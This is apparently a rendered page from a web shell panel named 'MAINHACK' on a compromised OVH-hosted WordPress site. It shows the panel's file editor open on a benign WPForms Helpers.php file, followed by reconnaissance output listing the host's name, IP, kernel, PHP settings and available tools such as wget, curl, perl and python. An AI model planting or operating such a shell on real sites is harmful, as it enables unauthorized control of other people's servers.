[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Helpers.php
<?php namespace WPForms\Integrations\AI; /** * AI features related helper methods. * * @since 1.9.1 */ class Helpers { /** * Key for a state whether integration is disabled on the Settings > Misc admin page. * * @since 1.9.1 */ public const DISABLE_KEY = 'ai-feature-disabled'; /** * Key for a state whether integration is used (or has been used). * There is no UI/UX for it, and it's used for internal purposes. * * @since 1.9.1 */ private const USE_KEY = 'ai-feature-used'; /** * Determine whether integration is disabled. * * @since 1.9.1 * * @return bool */ public static function is_disabled(): bool { return self::is_disabled_by_rule() || wpforms_setting( self::DISABLE_KEY ); } /** * Determine whether integration is used. * * @since 1.9.1 * * @return bool */ public static function is_used(): bool { return (bool) wpforms_setting( self::USE_KEY ); } /** * Mark integration as used. * * @since 1.9.1 */ public static function set_ai_used() { if ( self::is_used() ) { return; } $settings = (array) get_option( 'wpforms_settings', [] ); $settings[ self::USE_KEY ] = true; update_option( 'wpforms_settings', $settings ); } /** * Determine whether integration is disabled through constant or filter. * * @since 1.9.1 * * @return bool * @noinspection PhpUndefinedConstantInspection */ public static function is_disabled_by_rule(): bool { $is_disabled = defined( 'WPFORMS_DISABLE_AI_FEATURES' ) && WPFORMS_DISABLE_AI_FEATURES; /** * Allow modifying whether AI integration is disabled in WPForms. * * @since 1.9.1 * * @param bool $is_disabled True if AI integration is disabled. Default is false. */ return (bool) apply_filters( 'wpforms_disable_ai_features', $is_disabled ); // phpcs:ignore WPForms.PHP.ValidateHooks.InvalidHookName } /** * Log an error record. * * @since 1.9.1 * * @param string $message Error message. * @param string $endpoint Endpoint. * @param array $args Arguments. */ public static function log_error( string $message, string $endpoint, array $args ) { wpforms_log( 'AI Integration Error', [ 'error' => $message, 'endpoint' => $endpoint, 'args' => $args, ], [ 'type' => [ 'ai', 'error' ], ] ); } /** * Get the license type. * * @since 1.9.4 * * @return string */ public static function get_license_type(): string { $license = (array) get_option( 'wpforms_license', [] ); return $license['type'] ?? ''; } /** * Determine whether a license key is active. * * @since 1.9.4 * * @return bool */ public static function is_license_active(): bool { $license = (array) get_option( 'wpforms_license', [] ); return ! empty( wpforms_get_license_key() ) && empty( $license['is_expired'] ) && empty( $license['is_disabled'] ) && empty( $license['is_invalid'] ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: N/A
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: N/A
Current Dir Owner: 38697